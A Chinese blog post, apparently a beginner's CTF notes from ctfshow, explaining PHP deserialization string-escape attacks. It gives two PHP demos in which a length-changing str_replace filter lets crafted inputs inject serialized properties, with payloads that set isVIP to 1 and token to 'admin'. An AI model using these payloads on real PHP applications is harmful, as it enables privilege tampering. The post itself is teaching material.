• php反序列化逃逸


    php反序列化逃逸

    逃逸是php中反序列化时的恶意利用,以ctf为例演示

    第一段演示

    逃逸为ctf反序列化的内容,主要是对序列化对象进行过滤,其中替换串长度不一致,造成字符逃逸。攻击者可以构造恶意的payload,改变对象中的属性,达到恶意利用

    
    <?php
    
    class  user{
        public $username;
        public $password;
        public $isVIP;
    
        public function __construct($u,$p)
        {
            $this->username = $u;
            $this->password = $p;
            $this->isVIP = 0;
        }
    }
    
    function filter($s)
    {
        return str_replace("admin","hacker",$s);
    }
    
    $u = new user("admin",'123456');
    $u_ser = serialize($u);
    //O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
    
    echo PHP_EOL;
    $us = filter($u_ser);
    //O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
    
    //过滤前,过滤后
    //O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
    //O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
    
    $u = new user('admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}',"123456");
    //O:4:"user":3:{s:8:"username";s:52:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
    
    
    //";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} is length of 47
    
    $u = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}',"123456");
    $u_ser = serialize($u);
    $filterted =  filter($u_ser);
    //O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
    //forget of modify value of vip, it should be (int)1
    
    $obj = unserialize($filterted);
    var_dump($obj);
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49

    最终的目的是修改对象的isVIP属性为1,通过反序列化

    对象u进行序列化,很正常

    us对u的内容作替换,将admin替换为hacker,长度不一样,有逃逸风险
    比如
    s:5:"hacker";就是这个属性看5位,将它反序列化,内容就变成了hacke,r就逃逸了
    原因是它本来是admin是5位,通过过滤直接替换,造成纰漏

    尝试构造payload
    $u = new user('admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}',"123456");
    其中";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}是截取出来的

    尝试逃逸
    $u = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}',"123456");这么多重复的admin都将被替换为hacker。admin有282个字符,全部替换为hacker后就有了逃逸的条件。让原来的序列化内容容纳下";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;},而长度还是282,就是读到";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}就结束,在反序列化时形成一个完整的对象

    这样一来就可在var_dump看到isVIP属性确实遭到更改var_dump($obj);

    第二段说明

    
    class message{
        public $from;
        public $msg;
        public $to;
        public $token='user';
        public function __construct($f,$m,$t){
            $this->from = $f;
            $this->msg = $m;
            $this->to = $t;
        }
    }
    
    $obj = new message('fuck','b','c');
    
    function filter($obj){
        return str_replace('fuck', 'loveU', $obj);
    }
    
    $objSer = serialize($obj);
    echo $objSer;
    //O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
    
    
    echo PHP_EOL;
    $objSerFil = filter($objSer);
    echo $objSerFil;
    //O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
    
    //could flee
    //";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
    
    //fix it to
    //";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
    
    //payload(62 char)
    //";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
    
    echo PHP_EOL;
    $objHack = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
    echo serialize($objHack);
    
    $answer = 'O:7:"message":4:{s:4:"from";s:310:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}';
    $answer = filter($answer);
    
    echo PHP_EOL;
    var_dump(unserialize($answer));
    //it works
    
    echo PHP_EOL;
    echo base64_encode($answer);
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52

    这段代码来自我做ctfshow线上靶场时的记录,看上去更清晰一些吧

    结合注释观察,很容易懂

    结合writeup的视频的建议,新手慢点写,是容易做对的

    结语

    这篇博客也是随手记录,我是新手,还请各位佬们多多批评指正

    (悄摸把封面图房上,嘻嘻)
    请添加图片描述

  • 相关阅读:
    C语言基础-typedef的用法
    iTOP-3568开发板NPU使用安装RKNN Toolkit Lite2
    (一)DepthAI-python相关接口:OAK Device
    Docker基础操作
    关于DDD聚合设计的一些思考
    鸿鹄工程项目管理系统 Spring Cloud+Spring Boot+Mybatis+Vue+ElementUI+前后端分离构建工程项目管理系统
    数据结构--第七天
    SpringBoot3基础用法
    数据治理实战——翼支付金融板块业务数仓建设和数据治理之路
    ADAU1860调试心得(5)ADC-DAC直通程序
  • 原文地址:https://blog.csdn.net/m0_63416413/article/details/138186076